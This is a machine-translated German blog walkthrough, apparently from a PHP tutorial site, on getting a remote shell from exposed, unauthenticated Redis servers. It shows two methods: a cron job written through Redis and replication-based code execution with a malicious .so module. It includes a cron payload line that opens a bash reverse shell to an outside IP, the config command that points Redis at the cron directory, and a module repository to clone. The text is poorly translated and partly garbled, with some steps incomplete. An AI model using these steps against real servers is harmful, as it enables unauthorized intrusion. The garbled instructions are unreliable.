Normalerweise kann es bei der Durchführung von Autorisierungs-Penetrationstests zu unerwarteten Ergebnissen kommen, auch wenn herkömmliche Schwachstellenangriffe (wie Injektion, Datei-Upload usw.) versucht werden, aber keine Informationen abgerufen werden können .
Einfach ausgedrückt ist Redis eine Datenbank vom Typ Schlüsselwert, die im Speicher abgelegt werden kann Daten im Speicher auf der Festplatte regelmäßig und unterstützt das Speichern einer Vielzahl von Datenstrukturen (String, Hash, Liste usw.).
Redis wird standardmäßig an 0.0.0.0:6379 gebunden, wenn der IP-Zugriff nicht eingeschränkt ist Das öffentliche Netzwerk ohne Einrichtung einer Passwortauthentifizierung führt dazu, dass jeder Benutzer ohne Autorisierung auf Redis zugreift, Redis-Daten liest und den öffentlichen Schlüssel für die Remoteverbindung schreibt.
Wir werden nicht zufrieden sein, wenn wir die Datenbankberechtigungen erhalten. Unser Ziel ist nur Getshell!
Derzeit gibt es zwei weitere Mainstream-Methoden: Die erste besteht darin, regelmäßig eine Rebound-Shell zu planen, und die zweite darin, Master-Slave-Replikations-RCE zu verwenden.
1) set x "n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1n"
2) config set dir /var/spool/cron/ Redis Der Master-Slave-Modus bezieht sich auf die Verwendung eines Redis als Host und des anderen als Backup-Maschine. Die Host- und Slave-Daten sind identisch. Der Slave ist nur für das Lesen verantwortlich und der Host ist nur für das Schreiben verantwortlich. Nach Reids 4.x ist es durch externe Erweiterung möglich, einen neuen Redis-Befehl in Redis zu implementieren und eine bösartige .so-Datei zu erstellen. Wenn zwei Redis-Instanzen im Master-Slave-Modus eingestellt sind, kann die Redis-Hostinstanz Dateien über FULLRESYNC mit dem Slave-Computer synchronisieren. Laden Sie dann die schädliche SO-Datei auf den Slave-Computer, um den Befehl auszuführen.
Sie müssen ein Tool verwenden, laden Sie es einfach von GitHub herunter.
1) Git-Klon https://github.com/n0b0dyCN/RedisModules-ExecuteCommand (erfordert make)
Victory Tausende von Meilen entfernt, tatsächliche Kampfübung:Dieses Mal habe ich 6379 gescannt, was manchmal der Standardport ist. Es wird empfohlen, den gesamten Port zu scannen Master-Slave-Kopie von rce, um die Shell zu erhalten (aufgrund dieser Schwachstelle wurde src gemeldet und eine Vertraulichkeitsvereinbarung unterzeichnet, sodass der Zielcomputer so aufgebaut ist, dass er die reale Umgebung wiederherstellt und die Authentizität gewährleistet. )
Angreifer-IP: 192.168.109.134. Server-IP: 192.168.109.136 -slave rce kopieren, um die Shell zu erhalten
Generieren Sie zunächst eine schädliche .so-Datei, laden Sie RedisModules-ExecuteCommand herunter und kompilieren Sie sie mit make. Kann generiert werden.
Shell erfolgreich erhalten
Das obige ist der detaillierte Inhalt vonBeispielanalyse von Redis+Getshell. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!